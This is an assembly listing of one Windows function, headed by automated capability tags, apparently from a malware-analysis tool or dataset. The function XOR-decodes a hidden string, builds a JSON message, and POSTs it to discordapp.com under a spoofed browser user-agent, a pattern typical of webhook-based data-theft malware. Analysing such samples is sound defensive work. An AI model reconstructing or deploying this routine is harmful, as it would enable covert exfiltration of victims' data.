Function at 0x140020fd0
Capabilities:
Connect to http server
Create http request
Encode data using xor
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x14014af58]
xor rax, rsp
mov qword [rbp + 0x20], rax
mov rdi, rcx
mov qword [rsp + 0x68], rcx
mov qword [rbp - 0x20], rcx
xor r14d, r14d
movups xmm0, xmmword [0x14010cc10]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14010cc20]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14010cc30]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14010cc40]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14010cc50]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x14010cc60]
movups xmmword [rbp - 0x40], xmm1
mov eax, dword [0x14010cc70]
mov dword [rbp - 0x30], eax
movzx eax, word [0x14010cc74]
mov word [rbp - 0x2c], ax
mov ecx, r14d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400211d8
movdqa xmm5, xmmword [0x140113d00]
movdqa xmm4, xmmword [0x140113d50]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [str.8888]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp - 0x10], xmm0
lea rdx, [rsp + 0x74]
mov r8d, dword [rbp - 0x10]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140113d20]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140113d20]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x60
jl 0x1400210d0
cmp ecx, 0x66
jge 0x14002121e
movsxd rax, ecx
lea r8, [rsp + 0x70]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x66
jl 0x1400211f0
lea rax, str.application_json
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], r14
mov rcx, qword [rdi + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0x21
jb 0x14002162e
mov rax, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140021255
mov rax, qword [rdi]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], reloc.WLDAP32.dll_Ordinal_33
lea r9, str.__User_:__Poggers____content_:__
mov r8, rdi
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.1400048d0
nop
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rax, rdx
sub rax, rcx
cmp rax, 3
jb 0x1400212d3
lea rax, [rcx + 3]
mov qword [rsp + 0x58], rax
lea rbx, [rsp + 0x48]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x48]
add rbx, rcx
mov r8d, 3
lea rdx, [0x14010cd38]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 3], 0
lea rax, [rsp + 0x48]
jmp 0x1400212f4
mov qword [rsp + 0x20], 3
lea r9, [0x14010cd38]
xor r8d, r8d
lea edx, [r8 + 3]
lea rcx, [rsp + 0x48]
call fcn.1400045a0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rsi, [rbp]
mov rcx, qword [rbp]
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
cmovae rsi, rcx
jb 0x140021367
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021362
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140021362
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f9790
movdqa xmm0, xmmword [0x14010ba90]
movdqu xmmword [rbp + 0x10], xmm0
mov byte [rbp], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1400213b8
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400213b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400213b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f9790
movdqa xmm0, xmmword [0x14010ba90]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rsi + rbx], 0
jne 0x1400213d2
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_79.0.3945.74_Safari_537.36_Edg_79.0.309.43
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r13, rax
test rax, rax
je 0x1400215a6
mov r8d, 0x1bb
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea rdx, str.discordapp.com
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r12, rax
test rax, rax
je 0x14002159c
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], 0x84880100
lea rax, [rbp - 0x10]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rsp + 0x70]
lea rdx, str.POST
mov rcx, r12
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r15, rax
test rax, rax
je 0x140021593
mov dword [rsp + 0x20], ebx
mov r9, rsi
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_json
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x14002158a
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
mov dword [rbp - 0x18], reloc.WLDAP32.dll_Ordinal_32
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x18]
lea r8, [rbp]
mov edx, reloc.WS2_32.dll_send
mov rcx, r15
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x1400214de
lea rcx, [rbp]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov rsi, r14
mov ebx, r14d
mov ecx, 0x800
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
mov dword [rbp - 0x18], ebx
lea r9, [rbp - 0x18]
mov r8d, 8
mov rdx, rax
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140021570
mov rdi, 0xffffffffffffffff
mov ecx, dword [rbp - 0x18]
test ecx, ecx
je 0x14002156b
mov edx, ebx
add edx, ecx
cmovb rdx, rdi
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
je 0x14002154a
mov rsi, rax
mov r8d, dword [rbp - 0x18]
mov ecx, ebx
add rcx, rax
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
add ebx, dword [rbp - 0x18]
mov dword [rbp - 0x18], 0
lea r9, [rbp - 0x18]
mov r8d, 8
mov rdx, r14
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140021516
mov rdi, qword [rsp + 0x68]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test rsi, rsi
je 0x140021587
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor r14d, r14d
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x1400215dc
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x1400215d7
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140021627
mov rcx, r8
call fcn.1400f9790
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.1400f98b0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140004a50
nop
int3